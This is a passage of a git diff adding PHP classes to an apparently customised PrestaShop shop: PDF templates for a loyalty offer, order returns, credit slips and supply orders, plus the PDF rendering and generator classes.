$this->Offredefidelite = $Offredefidelite; + $this->smarty = $smarty; + $this->template = "Offredefidelite"; + + // header informations + $id_lang = Context::getContext()->language->id; + // $this->date = Tools::displayDate(date('Y-m-d'), (int)$id_lang); + $this->date = date('d-m-Y'); + + $this->title ='Offre de fidélité'; + // footer informations + $this->shop = 1; + + // print_r($this->offredefidelite->selecteds); + // die(); + } + + /** + * Returns the template's HTML content + * @return string HTML content + */ + public function getItemsProducts2() + { + // if(Tools::getValue('id_product')) + // $id_product=Tools::getValue('id_product'); + // $id_shop = $this->context->shop->id; + $id_lang = Context::getContext()->language->id; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT distinct(p.`id_product`), pl.name, pl.link_rewrite,cl.name as categoryName,c.id_category,p.id_category_default + FROM '._DB_PREFIX_.'product p + LEFT JOIN '._DB_PREFIX_.'product_lang pl ON (pl.id_lang = '.(int)$id_lang.' and p.id_product = pl.id_product) + LEFT JOIN '._DB_PREFIX_.'category_lang cl ON (cl.id_lang = '.(int)$id_lang.' and p.id_category_default = cl.id_category) + LEFT JOIN '._DB_PREFIX_.'category c ON (cl.id_category = c.id_category) + WHERE c.id_category!=12 + and c.id_category!=13 + and c.id_category!=14 + and c.id_category!=15 + and c.id_category!=16 + and c.id_category!=17 + ORDER BY c.position asc,pl.name asc'); + } + public function getItemsProducts() + { + $id_lang = Context::getContext()->language->id; + $sql=' + SELECT distinct(p.`id_product`), pl.name, pl.link_rewrite,cl.name as categoryName,c.id_category,p.id_category_default + FROM '._DB_PREFIX_.'category_product cp + LEFT JOIN '._DB_PREFIX_.'category c ON (cp.id_category = c.id_category) + LEFT JOIN '._DB_PREFIX_.'category_lang cl ON (cl.id_lang = '.(int)$id_lang.' and c.id_category = cl.id_category) + LEFT JOIN '._DB_PREFIX_.'product p ON (p.id_product = cp.id_product) + LEFT JOIN '._DB_PREFIX_.'product_lang pl ON (pl.id_lang = '.(int)$id_lang.' and p.id_product = pl.id_product) + WHERE cp.id_category=3 + or cp.id_category=4 + ORDER BY cl.name desc,cp.position asc,pl.name asc'; + $products= Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + // echo $sql; + // print_r($products); + return $products; + } + public function getContent() + { + // $country = new Country((int)$this->order->id_address_invoice); + // $invoice_address = new Address((int)$this->order->id_address_invoice); + // $formatted_invoice_address = AddressFormat::generateAddress($invoice_address, array(), '<br />', ' '); + // $formatted_delivery_address = ''; + + // $customer = new Customer((int)$this->order->id_customer); + + $years = Tools::dateYears(); + $months = Tools::dateMonths(); + $days = Tools::dateDays(); + $this->smarty->assign(array( + 'years' => $years, + 'months' => $months, + 'days' => $days + )); + + $this->smarty->assign('generationProduits',self::getItemsProducts()); + // print_r($this->offredefidelite); + // die(); + $this->smarty->assign( + 'offre_de_fidelite', $this->Offredefidelite + // 'order' => $this->order, + ); + // print_r($this->offredefidelite); + // die(); + return $this->smarty->fetch(_PS_THEME_DIR_.'pdf/Offrefidelite.tpl'); + } + + public function getBulkFilename(){ + // if(Tools::getValue('from')) + return 'offre-de-fidelite'.$this->Offredefidelite->mktime.'.pdf'; + // else + // return 'offre-de-fidelite.pdf'; + } + public function getFilename() + { + // if(Tools::getValue('from')) + return 'offre-de-fidelite'.$this->Offredefidelite->mktime.'.pdf'; + // else + // return 'offre-de-fidelite.pdf'; + } +} + diff --git a/classes/pdf/HTMLTemplateOrderReturn.php b/classes/pdf/HTMLTemplateOrderReturn.php new file mode 100755 index 0000000..0e366ce --- /dev/null +++ b/classes/pdf/HTMLTemplateOrderReturn.php @@ -0,0 +1,94 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5 + */ +class HTMLTemplateOrderReturnCore extends HTMLTemplate +{ + public $order_return; + public $order; + + public function __construct(OrderReturn $order_return, $smarty) + { + $this->order_return = $order_return; + $this->smarty = $smarty; + $this->order = new Order($order_return->id_order); + + // header informations + $this->date = Tools::displayDate($this->order->invoice_date, (int)$this->order->id_lang); + $this->title = HTMLTemplateOrderReturn::l('Order Return ').sprintf('%06d', $this->order_return->id); + + // footer informations + $this->shop = new Shop((int)$this->order->id_shop); + } + + /** + * Returns the template's HTML content + * @return string HTML content + */ + public function getContent() + { + $delivery_address = new Address((int)$this->order->id_address_delivery); + $formatted_delivery_address = AddressFormat::generateAddress($delivery_address, array(), '<br />', ' '); + $formatted_invoice_address = ''; + + if ($this->order->id_address_delivery != $this->order->id_address_invoice) + { + $invoice_address = new Address((int)$this->order->id_address_invoice); + $formatted_invoice_address = AddressFormat::generateAddress($invoice_address, array(), '<br />', ' '); + } + + $this->smarty->assign(array( + 'order_return' => $this->order_return, + 'return_nb_days' => (int)Configuration::get('PS_ORDER_RETURN_NB_DAYS'), + 'products' => OrderReturn::getOrdersReturnProducts((int)$this->order_return->id, $this->order), + 'delivery_address' => $formatted_delivery_address, + 'invoice_address' => $formatted_invoice_address, + 'shop_address' => AddressFormat::generateAddress($this->shop->getAddress(), array(), '<br />', ' ') + )); + return $this->smarty->fetch($this->getTemplate('order-return')); + } + + /** + * Returns the template filename + * @return string filename + */ + public function getFilename() + { + return sprintf('%06d', $this->order_return->id).'.pdf'; + } + + /** + * Returns the template filename when using bulk rendering + * @return string filename + */ + public function getBulkFilename() + { + return 'invoices.pdf'; + } +} + diff --git a/classes/pdf/HTMLTemplateOrderSlip.php b/classes/pdf/HTMLTemplateOrderSlip.php new file mode 100755 index 0000000..06b8b2e --- /dev/null +++ b/classes/pdf/HTMLTemplateOrderSlip.php @@ -0,0 +1,243 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5 + */ +class HTMLTemplateOrderSlipCore extends HTMLTemplateInvoice +{ + public $order; + public $order_slip; + + public function __construct(OrderSlip $order_slip, $smarty) + { + $this->order_slip = $order_slip; + $this->order = new Order((int)$order_slip->id_order); + + $products = OrderSlip::getOrdersSlipProducts($this->order_slip->id, $this->order); + $customized_datas = Product::getAllCustomizedDatas((int)$this->order->id_cart); + Product::addCustomizationPrice($products, $customized_datas); + + $this->order->products = $products; + $this->smarty = $smarty; + + // header informations + $this->date = Tools::displayDate($this->order->invoice_date, (int)$this->order->id_lang); + $this->title = HTMLTemplateOrderSlip::l('Slip #').Configuration::get('PS_CREDIT_SLIP_PREFIX', Context::getContext()->language->id).sprintf('%06d', (int)$this->order_slip->id); + + // footer informations + $this->shop = new Shop((int)$this->order->id_shop); + } + + /** + * Returns the template's HTML content + * @return string HTML content + */ + public function getContent() + { + $invoice_address = new Address((int)$this->order->id_address_invoice); + $formatted_invoice_address = AddressFormat::generateAddress($invoice_address, array(), '<br />', ' '); + $formatted_delivery_address = ''; + + if ($this->order->id_address_delivery != $this->order->id_address_invoice) + { + $delivery_address = new Address((int)$this->order->id_address_delivery); + $formatted_delivery_address = AddressFormat::generateAddress($delivery_address, array(), '<br />', ' '); + } + + $customer = new Customer((int)$this->order->id_customer); + + $this->order->total_products = $this->order->total_products_wt = 0; + foreach ($this->order->products as &$product) + { + $product['total_price_tax_excl'] = $product['unit_price_tax_excl'] * $product['product_quantity']; + $product['total_price_tax_incl'] = $product['unit_price_tax_incl'] * $product['product_quantity']; + if ($this->order_slip->partial == 1) + { + $order_slip_detail = Db::getInstance()->getRow(' + SELECT * FROM `'._DB_PREFIX_.'order_slip_detail` + WHERE `id_order_slip` = '.(int)$this->order_slip->id.' + AND `id_order_detail` = '.(int)$product['id_order_detail']); + + $product['total_price_tax_excl'] = $order_slip_detail['amount_tax_excl']; + $product['total_price_tax_incl'] = $order_slip_detail['amount_tax_incl']; + } + $this->order->total_products += $product['total_price_tax_excl']; + $this->order->total_products_wt += $product['total_price_tax_incl']; + $this->order->total_paid_tax_excl = $this->order->total_products; + $this->order->total_paid_tax_incl = $this->order->total_products_wt; + } + unset($product); // remove reference + if ($this->order_slip->shipping_cost == 0) + $this->order->total_shipping_tax_incl = $this->order->total_shipping_tax_excl = 0; + + if ($this->order_slip->partial == 1 && $this->order_slip->shipping_cost_amount > 0) + $this->order->total_shipping_tax_incl = $this->order_slip->shipping_cost_amount; + + $tax = new Tax(); + $tax->rate = $this->order->carrier_tax_rate; + $tax_calculator = new TaxCalculator(array($tax)); + $this->order->total_shipping_tax_excl = Tools::ps_round($tax_calculator->removeTaxes($this->order_slip->shipping_cost_amount), 2); + + + $this->order->total_paid_tax_incl += $this->order->total_shipping_tax_incl; + $this->order->total_paid_tax_excl += $this->order->total_shipping_tax_excl; + + $this->smarty->assign(array( + 'order' => $this->order, + 'order_slip' => $this->order_slip, + 'order_details' => $this->order->products, + 'delivery_address' => $formatted_delivery_address, + 'invoice_address' => $formatted_invoice_address, + 'tax_excluded_display' => Group::getPriceDisplayMethod((int)$customer->id_default_group), + 'tax_tab' => $this->getTaxTabContent(), + )); + + return $this->smarty->fetch($this->getTemplate('order-slip')); + } + + /** + * Returns the template filename when using bulk rendering + * @return string filename + */ + public function getBulkFilename() + { + return 'order-slips.pdf'; + } + + /** + * Returns the template filename + * @return string filename + */ + public function getFilename() + { + return 'order-slip-'.sprintf('%06d', $this->order_slip->id).'.pdf'; + } + + /** + * Returns the tax tab content + */ + public function getTaxTabContent() + { + $address = new Address((int)$this->order->{Configuration::get('PS_TAX_ADDRESS_TYPE')}); + $tax_exempt = Configuration::get('VATNUMBER_MANAGEMENT') + && !empty($address->vat_number) + && $address->id_country != Configuration::get('VATNUMBER_COUNTRY'); + + $this->smarty->assign(array( + 'tax_exempt' => $tax_exempt, + 'use_one_after_another_method' => $this->order->useOneAfterAnotherTaxComputationMethod(), + 'product_tax_breakdown' => $this->getProductTaxesBreakdown(), + 'shipping_tax_breakdown' => $this->getShippingTaxesBreakdown(), + 'order' => $this->order, + 'ecotax_tax_breakdown' => $this->order_slip->getEcoTaxTaxesBreakdown(), + 'is_order_slip' => true + )); + + return $this->smarty->fetch($this->getTemplate('invoice.tax-tab')); + } + + + public function getProductTaxesBreakdown() + { + $tmp_tax_infos = array(); + $infos = array( + 'total_price_tax_excl' => 0, + 'total_amount' => 0 + ); + + foreach ($this->order_slip->getOrdersSlipDetail((int)$this->order_slip->id) as $order_slip_details) + { + $tax_calculator = OrderDetail::getTaxCalculatorStatic((int)$order_slip_details['id_order_detail']); + $tax_amount = $tax_calculator->getTaxesAmount($order_slip_details['amount_tax_excl']); + + if ($this->order->useOneAfterAnotherTaxComputationMethod()) + { + foreach ($tax_amount as $tax_id => $amount) + { + $tax = new Tax((int)$tax_id); + if (!isset($total_tax_amount[$tax->rate])) + { + $tmp_tax_infos[$tax->rate]['name'] = $tax->name; + $tmp_tax_infos[$tax->rate]['total_price_tax_excl'] = $order_slip_details['amount_tax_excl']; + $tmp_tax_infos[$tax->rate]['total_amount'] = $amount; + } + else + { + $tmp_tax_infos[$tax->rate]['total_price_tax_excl'] += $order_slip_details['amount_tax_excl']; + $tmp_tax_infos[$tax->rate]['total_amount'] += $amount; + } + } + } + else + { + $tax_rate = 0; + foreach ($tax_amount as $tax_id => $amount) + { + $tax = new Tax((int)$tax_id); + $tax_rate = $tax->rate; + $infos['total_price_tax_excl'] += (float)Tools::ps_round($order_slip_details['amount_tax_excl'], 2); + $infos['total_amount'] += (float)Tools::ps_round($amount, 2); + } + $tmp_tax_infos[(string)number_format($tax_rate, 3)] = $infos; + } + } + + // Delete ecotax from the total + $ecotax = $this->order_slip->getEcoTaxTaxesBreakdown(); + if ($ecotax) + foreach ($tmp_tax_infos as $rate => &$row) + { + $row['total_price_tax_excl'] -= $ecotax[$rate]['ecotax_tax_excl']; + $row['total_amount'] -= ($ecotax[$rate]['ecotax_tax_incl'] - $ecotax[$rate]['ecotax_tax_excl']); + } + + return $tmp_tax_infos; + } + + public function getShippingTaxesBreakdown() + { + $taxes_breakdown = array(); + $tax = new Tax(); + $tax->rate = $this->order->carrier_tax_rate; + + $tax_calculator = new TaxCalculator(array($tax)); + + $total_tax_excl = $tax_calculator->removeTaxes($this->order_slip->shipping_cost_amount); + $shipping_tax_amount = $this->order_slip->shipping_cost_amount - $total_tax_excl; + + if ($shipping_tax_amount > 0) + $taxes_breakdown[] = array( + 'rate' => $this->order->carrier_tax_rate, + 'total_amount' => $shipping_tax_amount, + 'total_tax_excl' => $total_tax_excl, + ); + + return $taxes_breakdown; + } +} + + diff --git a/classes/pdf/HTMLTemplateSupplyOrderForm.php b/classes/pdf/HTMLTemplateSupplyOrderForm.php new file mode 100755 index 0000000..16a94b8 --- /dev/null +++ b/classes/pdf/HTMLTemplateSupplyOrderForm.php @@ -0,0 +1,196 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5 + */ +class HTMLTemplateSupplyOrderFormCore extends HTMLTemplate +{ + public $supply_order; + public $warehouse; + public $address_warehouse; + public $address_supplier; + public $context; + + public function __construct(SupplyOrder $supply_order, $smarty) + { + $this->supply_order = $supply_order; + $this->smarty = $smarty; + $this->context = Context::getContext(); + $this->warehouse = new Warehouse((int)$supply_order->id_warehouse); + $this->address_warehouse = new Address((int)$this->warehouse->id_address); + $this->address_supplier = new Address(Address::getAddressIdBySupplierId((int)$supply_order->id_supplier)); + + // header informations + $this->date = Tools::displayDate($supply_order->date_add, (int)$this->supply_order->id_lang); + $this->title = HTMLTemplateSupplyOrderForm::l('Supply order form'); + } + + /** + * @see HTMLTemplate::getContent() + */ + public function getContent() + { + $supply_order_details = $this->supply_order->getEntriesCollection((int)$this->supply_order->id_lang); + $this->roundSupplyOrderDetails($supply_order_details); + + $this->roundSupplyOrder($this->supply_order); + + $tax_order_summary = $this->getTaxOrderSummary(); + $currency = new Currency((int)$this->supply_order->id_currency); + + $this->smarty->assign(array( + 'warehouse' => $this->warehouse, + 'address_warehouse' => $this->address_warehouse, + 'address_supplier' => $this->address_supplier, + 'supply_order' => $this->supply_order, + 'supply_order_details' => $supply_order_details, + 'tax_order_summary' => $tax_order_summary, + 'currency' => $currency, + )); + + return $this->smarty->fetch($this->getTemplate('supply-order')); + } + + /** + * @see HTMLTemplate::getBulkFilename() + */ + public function getBulkFilename() + { + return 'supply_order.pdf'; + } + + /** + * @see HTMLTemplate::getFileName() + */ + public function getFilename() + { + return self::l('SupplyOrderForm').sprintf('_%s', $this->supply_order->reference).'.pdf'; + } + + protected function getTaxOrderSummary() + { + $query = new DbQuery(); + $query->select(' + SUM(price_with_order_discount_te) as base_te, + tax_rate, + SUM(tax_value_with_order_discount) as total_tax_value + '); + $query->from('supply_order_detail'); + $query->where('id_supply_order = '.(int)$this->supply_order->id); + $query->groupBy('tax_rate'); + + $results = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + foreach ($results as &$result) + { + $result['base_te'] = Tools::ps_round($result['base_te'], 2); + $result['tax_rate'] = Tools::ps_round($result['tax_rate'], 2); + $result['total_tax_value'] = Tools::ps_round($result['total_tax_value'], 2); + } + unset($result); // remove reference + + return $results; + } + + /** + * @see HTMLTemplate::getHeader() + */ + public function getHeader() + { + $shop_name = Configuration::get('PS_SHOP_NAME'); + $path_logo = $this->getLogo(); + $width = $height = 0; + + if (!empty($path_logo)) + list($width, $height) = getimagesize($path_logo); + + $this->smarty->assign(array( + 'logo_path' => $path_logo, + 'img_ps_dir' => 'http://'.Tools::getMediaServer(_PS_IMG_)._PS_IMG_, + 'img_update_time' => Configuration::get('PS_IMG_UPDATE_TIME'), + 'title' => $this->title, + 'reference' => $this->supply_order->reference, + 'date' => $this->date, + 'shop_name' => $shop_name, + 'width_logo' => $width, + 'height_logo' => $height + )); + + return $this->smarty->fetch($this->getTemplate('supply-order-header')); + } + + /** + * @see HTMLTemplate::getFooter() + */ + public function getFooter() + { + $this->address = $this->address_warehouse; + $free_text = array(); + $free_text[] = HTMLTemplateSupplyOrderForm::l('DE: Discount excluded '); + $free_text[] = HTMLTemplateSupplyOrderForm::l(' DI: Discount included'); + + $this->smarty->assign(array( + 'shop_address' => $this->getShopAddress(), + 'shop_fax' => Configuration::get('PS_SHOP_FAX'), + 'shop_phone' => Configuration::get('PS_SHOP_PHONE'), + 'shop_details' => Configuration::get('PS_SHOP_DETAILS'), + 'free_text' => $free_text, + )); + return $this->smarty->fetch($this->getTemplate('supply-order-footer')); + } + + /** + * Rounds values of a SupplyOrderDetail object + * @param array $collection + */ + protected function roundSupplyOrderDetails(&$collection) + { + foreach ($collection as $supply_order_detail) + { + $supply_order_detail->unit_price_te = Tools::ps_round($supply_order_detail->unit_price_te, 2); + $supply_order_detail->price_te = Tools::ps_round($supply_order_detail->price_te, 2); + $supply_order_detail->discount_rate = Tools::ps_round($supply_order_detail->discount_rate, 2); + $supply_order_detail->price_with_discount_te = Tools::ps_round($supply_order_detail->price_with_discount_te, 2); + $supply_order_detail->tax_rate = Tools::ps_round($supply_order_detail->tax_rate, 2); + $supply_order_detail->price_ti = Tools::ps_round($supply_order_detail->price_ti, 2); + } + } + + /** + * Rounds values of a SupplyOrder object + * @param SupplyOrder $supply_order + */ + protected function roundSupplyOrder(SupplyOrder &$supply_order) + { + $supply_order->total_te = Tools::ps_round($supply_order->total_te, 2); + $supply_order->discount_value_te = Tools::ps_round($supply_order->discount_value_te, 2); + $supply_order->total_with_discount_te = Tools::ps_round($supply_order->total_with_discount_te, 2); + $supply_order->total_tax = Tools::ps_round($supply_order->total_tax, 2); + $supply_order->total_ti = Tools::ps_round($supply_order->total_ti, 2); + } +} + diff --git a/classes/pdf/PDF.php b/classes/pdf/PDF.php new file mode 100755 index 0000000..ff4f9a9 --- /dev/null +++ b/classes/pdf/PDF.php @@ -0,0 +1,106 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5 + */ +class PDFCore +{ + public $filename; + public $pdf_renderer; + public $objects; + public $template; + + const TEMPLATE_INVOICE = 'Invoice'; + const TEMPLATE_ORDER_RETURN = 'OrderReturn'; + const TEMPLATE_ORDER_SLIP = 'OrderSlip'; + const TEMPLATE_DELIVERY_SLIP = 'DeliverySlip'; + const TEMPLATE_SUPPLY_ORDER_FORM = 'SupplyOrderForm'; + + public function __construct($objects, $template, $smarty) + { + $this->pdf_renderer = new PDFGenerator((bool)Configuration::get('PS_PDF_USE_CACHE')); + $this->template = $template; + $this->smarty = $smarty; + + $this->objects = $objects; + if (!($objects instanceof Iterator) && !is_array($objects)) + $this->objects = array($objects); + } + + public function render($display = true) + { + $render = false; + $this->pdf_renderer->setFontForLang(Context::getContext()->language->iso_code); + foreach ($this->objects as $object) + { + $template = $this->getTemplateObject($object); + + if (!$template) + continue; + + if (empty($this->filename)) + { + $this->filename = $template->getFilename(); + if (count($this->objects) > 1) + $this->filename = $template->getBulkFilename(); + } + + $template->assignHookData($object); + + $this->pdf_renderer->createHeader($template->getHeader()); + $this->pdf_renderer->createFooter($template->getFooter()); + $this->pdf_renderer->createContent($template->getContent()); + $this->pdf_renderer->writePage(); + $render = true; + + unset($template); + } + + if ($render) + { + // clean the output buffer + if (ob_get_level() && ob_get_length() > 0) + ob_clean(); + return $this->pdf_renderer->render($this->filename, $display); + } + } + + public function getTemplateObject($object) + { + $class = false; + $classname = 'HTMLTemplate'.$this->template; + + if (class_exists($classname)) + { + $class = new $classname($object, $this->smarty); + if (!($class instanceof HTMLTemplate)) + throw new PrestaShopException('Invalid class. It should be an instance of HTMLTemplate'); + } + + return $class; + } +} \ No newline at end of file diff --git a/classes/pdf/PDFGenerator.php b/classes/pdf/PDFGenerator.php new file mode 100755 index 0000000..1c117ad --- /dev/null +++ b/classes/pdf/PDFGenerator.php @@ -0,0 +1,234 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(_PS_TOOL_DIR_.'tcpdf/config/lang/eng.php'); +require_once(_PS_TOOL_DIR_.'tcpdf/tcpdf.php'); + +/** + * @since 1.5 + */ +class PDFGeneratorCore extends TCPDF +{ + const DEFAULT_FONT = 'helvetica'; + + public $header; + public $footer; + public $content; + public $font; + + public $font_by_lang = array( + 'ja' => 'cid0jp', + 'bg' => 'freeserif', + 'ru' => 'freeserif', + 'uk' => 'freeserif', + 'mk' => 'freeserif', + 'el' => 'freeserif', + 'vn' => 'dejavusans', + 'pl' => 'dejavusans', + 'ar' => 'dejavusans', + 'fa' => 'dejavusans', + 'ur' => 'dejavusans', + 'az' => 'dejavusans', + 'ca' => 'dejavusans', + 'gl' => 'dejavusans', + 'hr' => 'dejavusans', + 'sr' => 'dejavusans', + 'si' => 'dejavusans', + 'cs' => 'dejavusans', + 'sk' => 'dejavusans', + 'ka' => 'dejavusans', + 'he' => 'dejavusans', + 'lo' => 'dejavusans', + 'lv' => 'dejavusans', + 'tr' => 'dejavusans', + 'ko' => 'cid0kr', + 'zh' => 'cid0cs', + 'tw' => 'cid0cs', + 'th' => 'freeserif' + ); + + + public function __construct($use_cache = false) + { + parent::__construct('P', 'mm', 'A4', true, 'UTF-8', $use_cache, false); + } + + /** + * set the PDF encoding + * @param string $encoding + */ + public function setEncoding($encoding) + { + $this->encoding = $encoding; + } + + /** + * + * set the PDF header + * @param string $header HTML + */ + public function createHeader($header) + { + $this->header = $header; + } + + /** + * + * set the PDF footer + * @param string $footer HTML + */ + public function createFooter($footer) + { + $this->footer = $footer; + } + + /** + * + * create the PDF content + * @param string $content HTML + */ + public function createContent($content) + { + $this->content = $content; + } + + /** + * Change the font + * @param string $iso_lang + */ + public function setFontForLang($iso_lang) + { + $this->font = PDFGenerator::DEFAULT_FONT; + if (array_key_exists($iso_lang, $this->font_by_lang)) + $this->font = $this->font_by_lang[$iso_lang]; + + $this->setHeaderFont(array($this->font, '', PDF_FONT_SIZE_MAIN)); + $this->setFooterFont(array($this->font, '', PDF_FONT_SIZE_MAIN)); + + $this->setFont($this->font); + } + + /** + * @see TCPDF::Header() + */ + public function Header() + { + $this->writeHTML($this->header); + } + + /** + * @see TCPDF::Footer() + */ + public function Footer() + { + $this->writeHTML($this->footer); + } + + /** + * Render the pdf file + * + * @param string $filename + * @param $display : true:display to user, false:save, 'I','D','S' as fpdf display + * @throws PrestaShopException + */ + public function render($filename, $display = true) + { + if (empty($filename)) + throw new PrestaShopException('Missing filename.'); + + $this->lastPage(); + + if ($display === true) + $output = 'D'; + elseif ($display === false) + $output = 'S'; + elseif ($display == 'D') + $output = 'D'; + elseif ($display == 'S') + $output = 'S'; + else + $output = 'I'; + + return $this->output($filename, $output); + } + + /** + * Write a PDF page + */ + public function writePage() + { + $this->SetHeaderMargin(5); + $this->SetFooterMargin(18); + $this->setMargins(10, 40, 10); + $this->SetAutoPageBreak(true, PDF_MARGIN_BOTTOM); + + $this->AddPage(); + + $this->writeHTML($this->content, true, false, true, false, ''); + } + + /** + * Override of TCPDF::getRandomSeed() - getmypid() is blocked on several hosting + */ + protected function getRandomSeed($seed='') + { + $seed .= microtime(); + if (function_exists('openssl_random_pseudo_bytes') AND (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN')) { + // this is not used on windows systems because it is very slow for a know bug + $seed .= openssl_random_pseudo_bytes(512); + } else { + for ($i = 0; $i < 23; ++$i) { + $seed .= uniqid('', true); + } + } + $seed .= uniqid('', true); + $seed .= rand(); + $seed .= __FILE__; + $seed .= $this->bufferlen; + if (isset($_SERVER['REMOTE_ADDR'])) { + $seed .= $_SERVER['REMOTE_ADDR']; + } + if (isset($_SERVER['HTTP_USER_AGENT'])) { + $seed .= $_SERVER['HTTP_USER_AGENT']; + } + if (isset($_SERVER['HTTP_ACCEPT'])) { + $seed .= $_SERVER['HTTP_ACCEPT']; + } + if (isset($_SERVER['HTTP_ACCEPT_ENCODING'])) { + $seed .= $_SERVER['HTTP_ACCEPT_ENCODING']; + } + if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { + $seed .= $_SERVER['HTTP_ACCEPT_LANGUAGE']; + } + if (isset($_SERVER['HTTP_ACCEPT_CHARSET'])) { + $seed .= $_SERVER['HTTP_ACCEPT_CHARSET']; + } + $seed .= rand(); + $seed .= uniqid('', true); + $seed .= microtime(); + return $seed; + } +} diff --git a/classes/pdf/index.php b/classes/pdf/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/classes/pdf/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/classes/range/RangePrice.php b/classes/range/RangePrice.php new file mode 100755 index 0000000..ca1b286 --- /dev/null +++ b/classes/range/RangePrice.php @@ -0,0 +1,118 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class RangePriceCore extends 